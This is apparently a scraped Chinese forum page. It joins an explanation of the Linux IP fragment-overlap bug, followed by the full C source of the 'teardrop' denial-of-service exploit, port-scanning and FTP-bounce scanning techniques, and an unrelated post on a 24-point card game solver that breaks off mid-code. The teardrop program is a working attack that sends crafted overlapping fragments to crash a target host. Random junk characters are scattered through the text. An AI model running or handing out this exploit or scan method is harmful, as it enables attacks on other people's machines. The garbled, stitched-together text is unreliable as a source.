这里只检查了长度过大的情况,而没有考虑长度过小的情况,2 I  L6 d2 V: Z
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:6 X( R1 V+ |1 P  h; e
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
. C+ H1 @. f1 |! o# y是这样处理的:( R$ a& \" A% m( H. n
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)! `6 W0 l3 @% C! M0 k  n9 O# \
{
$ q: ~7 f7 o# `. x! mi = prev-&gt;end - offset;8 U, v: v% ~- W9 _: M7 Q' n
offset += i; /* ptr into datagram */% t' ^8 @. i5 S( `# Y8 r- f, [9 F* i
ptr += i; /* ptr into fragment data */! ?! z* w' g  ~& J* Q! K" k
}</P><P>/* Fill in the structure. */; u& ^4 C& K, q- z- o- L; Q" i& Y
fp-&gt;offset = offset;+ M, P# L! ?" G! h, V
fp-&gt;end = end;$ h$ |0 B# X5 w7 H( \7 d; m" h# p
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
8 W& V& ]9 _1 l. ^' i, @0 P第一个碎片:mf=1 offset=0 payload=20' L6 E0 t$ ]3 R  j
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
# g& F$ a8 R9 n" x% `2 xoffset=02 t1 {; i; D( ]4 E$ |' W
这样第二个碎片的 end=9+10=196 T8 e, ~9 G7 r7 v) S
offset=offset+(20-offset)=20
) f& g5 I5 R. z7 |1 ~fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
* V0 c7 j2 p- e8 j" i7 j/*
3 P# V; P; r% H( ]. h* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
" q0 e/ _! k7 b1 c- |*
+ L7 N6 h8 c- Y# f' K5 X; B* Linux/NT/95 Overlap frag bug exploit! Y6 {/ U5 w1 s7 L9 s8 \; I
*
9 g% T( @9 y8 Q0 r6 _  |/ I* Exploits the overlapping IP fragment bug present in all Linux kernels and
& I1 ^- E5 P: ~; Y2 H0 o) Y* NT 4.0 / Windows 95 (others?)
7 y. ?5 x& [% g+ s% \# E*4 V- b. Z$ _' c9 _
* Based off of: flip.c by klepto
5 t# i* }( J. K: _0 o  {  L, P* Compiles on: Linux, *BSD*
2 i8 ~3 w. p+ M# i2 y, n*' s+ v+ _% m' s
* gcc -O2 teardrop.c -o teardrop
7 p) j& g# |6 }+ u9 c& i1 @* OR
. w9 S: `  K, y. A: @* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
& I1 v+ V0 T5 r5 J% {*/</P><P>#include <STDIO.H>8 _* y: q. \; I4 Q
#include <STDLIB.H>
/ K/ `' M# I& n5 X( J9 B#include <UNISTD.H>2 b4 L4 S5 g  P2 ?
#include <STRING.H>
! p! v. O. c% s5 Y( t- t#include <NETDB.H>! w5 f3 S; ~/ o6 e
#include <NETINET in.h>' L% Y; O/ E3 L6 M" T; ?" D+ g9 ^
#include <NETINET udp.h>
* ^  w% V& `* U1 \3 U' \#include <ARPA inet.h>
$ G! b) s' ~! U" P* W. X#include <SYS types.h>
& [7 {8 d; k, {' }  t6 Z#include <SYS time.h>
8 p4 x0 g& }* @. o0 U6 o6 K3 U#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING( E0 h! d: g& H+ P0 D' S$ R2 I
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
. W* a. J. L$ z3 G+ W2 P#define FIX(n) (n)
! X% ^8 I+ h' Z4 _$ m, S2 s# h#else /* OpenBSD 2.1, all Linux */
7 V& V6 z6 ^6 o' V8 c8 H+ o$ E#define FIX(n) htons(n)5 @: q$ Q5 G7 w& r; m1 ^
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
* W! @2 l# f) o) `1 G% G4 F#define IPH 0x14 /* IP header size */
, d) ^7 q" Y  h" P  v#define UDPH 0x8 /* UDP header size */
6 Z. @5 Z% B% f) N& s! D#define PADDING 0x1c /* datagram frame padding for first packet */: k6 Q' w* [3 W+ B" [/ Y/ }
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
; {7 D. \$ e0 X' y#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can6 j  i& v1 e% V& _/ \
* withstand maybe 5 or 10 sometimes... Experiment.
+ r5 }6 j' }! j8 W& B' m*/</P><P>void usage(u_char *);+ n5 t4 T) }: g, M% d. l
u_long name_resolve(u_char *);0 }6 a% X: r8 b' O& ?( R
u_short in_cksum(u_short *, int);* w' ]. C) B, \* _7 B
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)* U* a1 K8 _/ E2 F8 f: o( D
{, e0 p: @2 H1 N! J
int one = 1, 5 j1 x) H" i0 G) o5 @5 L
count = 0, ! T: x% D9 q/ ]' u. I
i,
3 r: o6 a, ^" y% [rip_sock;
/ O6 o, h  o! |u_long src_ip = 0, dst_ip = 0;5 x7 j1 Z- e! s
u_short src_prt = 0, dst_prt = 0;5 f9 `, }7 F2 W- \- E
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW" K7 N* W4 v8 B$ p
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
* e; L% S- S" v9 ^0 |$ C& C4 U{
. G- H6 i1 l& u2 b$ j! M9 M& D! Gperror("raw socket");: S7 Q! t) o$ R9 f# m/ \, A
exit(1);3 W) ^1 T# A& U% w- v/ F$ r; ?" R
}
7 h' A0 f2 _4 w0 N3 m//由系统处理IP校验和。
% ]' T* C) Z2 B; j. H  Aif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
# W2 M. E8 Y: \9 T- o&lt; 0)+ |( g0 |: O3 t6 r# J2 e9 ~+ {: J
{$ b$ v5 j  l  K, o9 m: D
perror("IP_HDRINCL");
3 i9 ]( A2 Z. O) ?exit(1);
7 r. M. p/ k* e( w3 c* Q0 p}</P><P>if (argc &lt; 3) usage(argv[0]);
& {# |1 C1 H; n8 ]! _5 sif (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
1 k, v4 `( ]! [/ {# j; f3 m{' G, }( J: R& B* |1 k3 f
fprintf(stderr, "What the hell kind of IP address is that?\n");, D* Q2 i  f; W! N- K
exit(1);
- Y- d8 n5 X. E- [* _) N5 h$ _& e* @}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
6 {. D  v: S- Z8 |& J5 L{+ F+ P: |6 ]1 v1 c3 g0 c
switch (i)/ A! p, K3 G: J9 H( c
{
7 o- T- N( ]6 D' \3 G, a, Q. zcase 's': /* source port (should be emphemeral) */
5 d0 o3 h2 I2 _- G& G% z' B$ a3 Asrc_prt = (u_short)atoi(optarg);" e3 @8 g/ O+ A$ t
break;
: n* a5 F( T, g2 r- mcase 't': /* dest port (DNS, anyone?) */
5 U& {: f$ e6 _0 b+ mdst_prt = (u_short)atoi(optarg);! J: Q& U& y5 d9 k
break;1 n. i+ H, Z. `$ c
case 'n': /* number to send */+ W/ |0 O# e& P' \
count = atoi(optarg);: F8 a- D! N5 W: }6 r
break;6 C# ?+ J" X: \$ Y1 Z
default :5 ~5 {9 z4 n8 i' x; U
usage(argv[0]);
3 w/ y9 V3 @9 V) m, Pbreak; /* NOTREACHED */
9 r$ b7 j1 q! N  \! H}
/ B. I- G2 |" N}</P><P>srandom((unsigned)(time((time_t)0)));* z: t& r/ `& B. }; b
if (!src_prt) src_prt = (random() % 0xffff);
7 C4 D/ b. M2 s7 l6 Xif (!dst_prt) dst_prt = (random() % 0xffff);
" }6 e: [* u6 mif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
. g- R8 A' y  l+ X  Y# j9 O9 Waddr.s_addr = src_ip;7 g' B/ b) }# K. S
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);3 X# m* O) S1 y+ ~" W
addr.s_addr = dst_ip;7 N! q& n/ G! Q7 J, W, s- ^
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);8 K3 Y6 D# Y& O- B9 e* v$ @+ l
fprintf(stderr, " Amt: %5d\n", count);" j" i) F3 d; b: L0 P8 J
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
  j; w! a5 q: O) U, s{5 R" N8 J% r& M/ B5 B9 j. f1 m9 G
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);. O4 o' q: L1 n& o7 }0 d' v
fprintf(stderr, "b00m ");; H5 m2 F7 w1 Z3 ?
usleep(500);6 Y* h4 V8 u8 A+ p4 Y) L
}
9 G, r9 v+ u. G- y, ~8 |, Rfprintf(stderr, "]\n");
# @! ?! p/ |' Dreturn (0);
* ?& V% j* r( O( K8 U}</P><P>/*
0 h  d" ^+ S9 h& J# k" @% p, Q) K* Send two IP fragments with pathological offsets. We use an implementation- Z0 U5 N, Q; k# V3 u& W
* independent way of assembling network packets that does not rely on any of
0 J) k* X' g3 K* c) D* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD)., J7 J1 ]9 B0 ~* p2 l0 v; J
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt," D+ D/ k2 T( F% Z- T" X5 g& [
u_short dst_prt)) ~# O1 ^- g$ c6 y- M, t
{
. g; W) T6 {" G9 Tu_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
% {$ T+ I- j% su_char byte; /* a byte */. g& \* L* ~% D
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;% S" s- K& j+ U3 d+ @7 g5 o
sin.sin_port = src_prt;
5 h+ n/ j; {/ vsin.sin_addr.s_addr = dst_ip;</P><P>/*& W3 i& A2 C% C( x/ C: C' ~: I
* Grab some memory for our packet, align p_ptr to point at the beginning
( X6 s7 t% |% h( l/ S5 i$ v: z7 ^# @* of our packet, and then fill it with zeros.
' ]) f' X: r( q*/6 g  T- t4 c, o5 j" V5 O
packet = (u_char *)malloc(IPH + UDPH + PADDING);
2 h( ~8 ]& g/ u/ v2 |% Sp_ptr = packet;+ \! x, ?* \0 \: q
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
( w; s: J) M4 d9 r* N8 C1 J. h, Imemcpy(p_ptr, &amp;byte, sizeof(u_char));
- I+ I6 @, L( }p_ptr += 2; /* IP TOS (skipped) */- G5 m, v: M, q+ v7 y
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
5 {/ U: a2 X, D3 xp_ptr += 2;
; N5 |. Z3 P6 z- f*((u_short *)p_ptr) = htons(242); /* IP id */) ?- X  O- t$ e7 M
p_ptr += 2;
) f/ a1 F% D# J& R4 z*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */! V7 L1 v" d$ c( Y
p_ptr += 2;
. c5 [  g' e6 P*((u_short *)p_ptr) = 0x40; /* IP TTL */. i6 H+ ]7 H3 g* D
byte = IPPROTO_UDP;
" e0 ]: B* i% ymemcpy(p_ptr + 1, &amp;byte, sizeof(u_char));# N8 [9 C1 x1 u  l* x
p_ptr += 4; /* IP checksum filled in by kernel *// X8 W( \4 M' N9 G3 D. m0 F! O8 r
*((u_long *)p_ptr) = src_ip; /* IP source address */# e3 l8 {- x' }$ V6 T. V
p_ptr += 4;+ S1 Z3 q. g/ j9 s
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
6 k( ~5 V% I, V' W* B3 Ip_ptr += 4;  N! m, w  ^2 N
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
2 o# h, I* G% H- ^p_ptr += 2;
# y- n2 Z- t4 _; I4 @% _*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
7 w, j7 ]: `# C8 W' c  W5 o6 ?. Dp_ptr += 2;
8 v3 B( v: G$ m6 D, \7 z*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
- |; |+ e0 G# |( l3 O' g- [sizeof(struct sockaddr)) == -1)" `6 `1 L6 [5 N! ]1 g
{
, L4 v2 A* Q& H. S2 }( X" }; ?perror("\nsendto");: j& I" W$ \# Z9 l: ]0 o
free(packet);( `* L7 \7 R5 X6 b3 c
exit(1);
. s, n0 w: Y& e$ S4 H}</P><P>/* We set the fragment offset to be inside of the previous packet's
8 h9 O& L# n( {* payload (it overlaps inside the previous packet) but do not include
$ ], {( {! j7 U: O- d* enough payload to cover complete the datagram. Just the header will
' d$ b0 Q1 R* s* do, but to crash NT/95 machines, a bit larger of packet seems to work
* H; H" F, |& ?' s" n) w* better.) |, e. _' Y! T. [
*/
% q$ k$ \5 _% M$ Y. y* A! jp_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */- }9 }. K  w2 a  T+ O+ T# [. O
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
& T. y6 @) ~  R5 R8 P" rp_ptr += 4; /* IP offset is 6 bytes into the header */, o- l7 P2 I& P7 C( m. E+ @5 K
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
# Y1 D( I( [+ s# Dsizeof(struct sockaddr)) == -1)
6 [! e$ L3 {- r! n* f+ [3 b{
: n" J6 S: H) qperror("\nsendto");
6 t/ L# c" O! K; g5 T5 Nfree(packet);
4 n0 R# c* r# n- N* N  V0 Wexit(1);
2 \" {, y; ]( U}
3 e( w  S. x- a" v# K9 _: {free(packet);3 E' ]' i+ M( j$ R) B; y& C
}</P><P>u_long name_resolve(u_char *host_name). \8 R* [7 K4 X/ n
{5 \6 v; g* j! S) q/ C  {+ w# g* _
struct in_addr addr;
" _4 E9 _% Y, K6 Pstruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
9 j) N! C1 o0 L{
+ r9 ~$ K, q# O- \( sif (!(host_ent = gethostbyname(host_name))) return (0);
, d# I2 ^1 E, S# `6 M& T+ d4 gbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
6 U' L  k/ c1 p) O: ~' i}
- V* ]: m  X0 _% u  _- ireturn (addr.s_addr);  h! T: Q2 ^  B& a
}</P><P>void usage(u_char *name)
/ C  F" h7 S0 Q1 m( \" W- \* w8 c1 ]{6 `/ ?' g' I: ?- }
fprintf(stderr,
, s3 p! m$ J& F6 z* d% ~"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
8 u% t6 O7 H5 nname);2 f- F5 w, M7 U
exit(0);7 S$ V3 X" n7 Q
}</P><P>
0 k6 A4 g" ~  T, e# ]- \0 O4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: 1 B& f. e8 T! c: R/ x8 R* I: J2 P# l4 Z
(1) Half-open(半打开)
& a! y4 N6 \0 R0 o4 x利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),+ ?+ W4 d4 G" M
如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
6 A8 v/ D# s/ w. B% }! s3 u利用了FTP的port命令,例如可以这样作:6 e1 p2 |- ]5 W/ t* j6 o( U
选择一个FTP服务器,连上后令port命令指向目标机,如果返回
: Q3 r0 i& ?$ @6 R( w, L值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则% d2 A$ [0 W, e! I+ w/ _
该端口无服务。( ?" k) G) H: w% v/ |
telnet 192.168.1.13 21
) Q0 r0 S0 _$ R) y# cTrying 192.168.1.13...; O) S) S3 G6 R" l& ^
Connected to pp.bricks.org.- d8 i; E, k% v8 j+ ]& J
Escape character is '^]'./ e' w2 ]/ [: Q
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
& N" C7 C$ q9 z' e' J1 PThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
, i, n" H) V, k. n2 Y4 W$ k331 Guest login ok, send your complete e-mail address as password.% {2 T3 i0 Q9 ^) G. R; q
pass aa@aa.aa
9 N: k1 g7 \0 C' [9 l  C230 Guest login ok, access restrictions apply.2 w7 d, d% _  S" m: J& @  |- C
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
/ v7 A) h- W- ~5 t& O425 Can't build data connection: Connection refused.. |9 Z1 K5 v; h3 T5 ]( k7 D
//该端口未活动 6 O! f: n7 W4 B6 }! l
150 Opening ASCII mode data connection for file list.
% \$ W$ T0 f2 V# x. a& k$ ]  ^' b226 Transfer complete.
7 W4 S4 U: V* h6 S8 F8 {7 j5 d' [$ E//该端口活动中  S/ u/ j1 S& y* z- Z5 v) A
但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing/ o( }- @) v: D, O7 b8 J
SYN|FIN ACK or SYN|ACK* RST$ f1 w7 U: W* Y
ACK Nothing RST
  k7 _$ `7 g8 a* i0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport6 o% t# o9 B/ w- K, D
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,$ ?3 D! v% {5 z5 A
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认' r. H2 n/ _, y$ H9 Y5 w
定它在向你做portscan。</P><P>notes:) [/ O7 G/ H  I+ R* y
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
! a. b. p  q  e: P( b而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
* ]/ v" m. Y+ E( g  b都是向它scan。</P>
作者: 韩冰    时间: 2004-10-4 02:40
< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>. z2 g7 b+ k1 j' `" c8 T( L  [/ I
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
& z3 ~3 L& S% r+ B9 |* z
! U, T( R% y. p5 R7 \, z$ }  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
; _3 X  ~% @8 r首先穷举的可行性问题。我把表达式如下分成三类——
0 D! J+ M& Z! B: Q4 v<FONT color=#ff0000>1、 无括号的简单表达式。& A# R; Y3 V' b. Y* G
2、 有一个括号的简单表达式。
  V+ Y0 K- H8 I1 _2 {0 J$ H0 L3、 有两个括号的较复4、 杂表达式。
2 C/ n8 b' B3 Z6 r* D( _1 ^$ F</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:& v) o. o# h  s4 ^
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
4 C1 V) N9 r1 x: L9 z- ~, s5 T/* c[] 存放四张牌的数组 */, x+ r7 z4 I, Y( Q; n  `& A
/* k[] c[]种四张牌的代号,其中k[I]=I+1。
/ ?5 B5 C3 }& U! d0 y# u' t* `2 O7 X用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */
7 {! O% B: \4 `" e- \/* kans[] 暂存生成的排列组合 */
- G* C  S8 O( m/* j 嵌套循环的次数 */) a8 V+ g* P" ~. j: S
int fans(c,k,ans,kans,j)
* {1 F2 x1 o1 K* a/ F0 V2 J" ~" B4 Pint j,k[],c[];char ans[],kans[];- u2 L7 _0 V& v; A) l% T" v1 m
{ int i,p,q,r,h,flag,s[4],t[4][4];
1 s+ |( E5 }6 Xfor(p=0,q=0;p&lt;4;p++)/ {5 H% ~, F% ]& S( T
{ for(r=0,flag=0;r<J;R++)
! D. ^, y8 H# r; W8 C5 d if(k[p]!=kans[r]) flag++;/ r. O9 N6 k: M2 b$ i2 h
if(flag==j) t[j][q++]=k[p];  O- b- p9 ^' W2 I  X. F8 D
}' t; }2 z" ^# ~/ m/ I
for(s[j]=0;s[j]&lt;4-j;s[j]++)
: q8 j) r: V4 R% C* }" ^/ f{ kans[j]=t[j][s[j]];
7 W) @; G7 C& L! Q: `; O* Iif(j==3) { for(h=0;h&lt;4;h++)
  L  p9 C/ ^& a% Z0 dans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
) c' E; E% d4 u2 e3 ^5 ?达式中的位置 */' f( i% p+ w% Q* ^5 L2 L
for(h=0;h&lt;3;h++)
) W% k- B, x6 Q8 }* g, osymbol(ans,h); /* 在表达式中添加运算符号 */
8 m1 ]: G' \) q, S}; C  ~4 `; M; I% e
else { j++;% n0 ~4 a( w! ?5 B1 ?/ _4 n4 t. a
fans(c,k,ans,kans,j);
9 ]0 N$ `/ Y! ]; B' z: f3 Kj--;
1 I0 V2 W" O; x/ a; Q}5 m5 O) N, d; b& K+ v
}
5 x* d/ w9 w$ p}</FONT>
" \$ w  a+ B6 |1 K) l; M+ k
# O; l( p% w* b  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
) f- L( s7 x" |' x
+ u2 X5 \9 ]  B9 `<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
# i( B4 Z) A' A( hint sans(ans,sy,j,h)
9 O3 D1 ?! G1 [4 U3 qchar ans[],sy[];int j,h;
7 Q: T( |0 z7 X2 A2 _, r# M( ~{ int i,p,k[3],m,n; char ktans[20];9 z4 b' x* J$ Y& J+ \1 @7 [
for(k[j]=0;k[j]&lt;4;k[j]++)
3 L9 A6 e$ ]6 B3 ^{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
- C, z8 @- _1 E) o+ Y9 e. w8 y% f5 d& s这里的三个运算符号分别存放在1、3、5位*/ . _; c9 W' }. s% X# S' Q
if(j==2)
3 v% c/ C  ?  N, _0 [{ ans[5]=sy[k[j]];
) o, R/ ]1 `) V/* 此处根据不同的表达式形式再进行相应的处理 */
, S, L8 l/ V" p6 b  I$ f}1 @/ U7 S5 q: u: d( p1 m7 o
else { j++; sans(ans,sy,j--,h); }1 T1 |9 e' }1 H- s0 R( x8 k" q. E, ]
}
& ?' i! k( h- w3 b}2 {  I& i1 s0 q* N
3 X+ C3 C3 v) I3 O6 A7 W# ]
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
4 b: N& F( c- b' C% C+ |( Wfor(m=0;m&lt;=4;m+=2)# J5 ~# D- c4 o9 F- X3 c
for(n=m+4;n&lt;=8;n+=2). d) e4 ^$ u2 O+ V2 J1 K
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
3 d1 j, l9 z$ g2 L( |/ x
! Q( ^: R) d4 @/ d  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
- R' A* r* r5 I$ S7 m</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
' k2 l, V! }% V; W- [  L3 H在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。# o3 |) U2 X/ `8 v4 O3 c( _

6 [- _$ W. V8 i# b" r1 d! f  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
( V  M8 V, R! h% g7 `1 I! l' b1 G
) Y- s4 H3 Z9 m5 y) ?+ J9 Q  那么作为栈的著名应用,表达式的计算可以有两种方法。1 J, p' `& ?, S

! v/ K0 X& U' ]  <FONT color=#ff0000>第一种方法——</FONT>2 \: [% I4 p$ J
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
: i/ a8 r. x5 i  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:2 G$ g- G# h! I3 l
1、 若W为操作数& e: g' F1 N5 K' I" A* d7 J
2、 则将W压入操作数栈OVS
4 `6 D! V% U: t9 k3、 且继续扫描下一个字符
! X4 t( ~7 H) s! s# O4、 若W为运算符
; K$ a5 L8 P. m. v3 g5、 则根据运算符的性质做相应的处理:
. ^; N% M6 e0 U(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。5 a! I# x7 r! }+ i0 N( B
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。" v5 L+ X9 I# ?- y7 U3 W6 k6 }; E
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
3 p0 }+ K' h2 _3 i(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。& u  B' M/ z* v; P* p6 N! Q

# C% M2 N, a6 v1 y3 q- g<FONT color=#ff0000>  第二种方法——</FONT>
* Z# Z9 v) {9 f0 R  p5 I" m  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。- e- }2 m4 e6 l6 w

* L. [/ Q  \3 K8 ~4 C* a4 c  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。
- A( N2 }4 t* P" U& |" V. ~
8 D5 N1 q2 y: o; m+ B, x   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。- \3 ]4 d* S" i6 J
表达式 波兰表达式
- \  \9 i2 h! |' A6 s' w) t. eA-B AB-
9 }6 s. e8 i3 t7 w% j7 U% z( c(A-B)*C+D AB-C*D+
* {8 ?5 {. R: J& SA*(B+C/D)-E*F ABCD/+*EF*-3 o* I- g1 Q" G  Z5 R8 k
(B+C)/(A-D) BC+AD-/
. F% M1 @4 T, D# }( z7 C* W
/ W9 p$ |: e1 u7 E- \5 c  F  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
" L8 H8 F. _% E$ D' g4 t: n) g+ B
% q, r5 l0 E/ E( y6 Y0 F  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
* Y: d/ H! u& E0 u$ b& P
( k% f9 d1 Z9 e  下面给出转换和计算的具体实现程序——
, V% _4 L7 W! w- W4 M; f
( I7 O9 j0 j/ H( {5 }( B<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */5 J4 D* R4 V9 k$ M! e- Z# A
int first(char c)
$ B% p+ A' R3 T7 O, l9 y$ N- D{ int p;
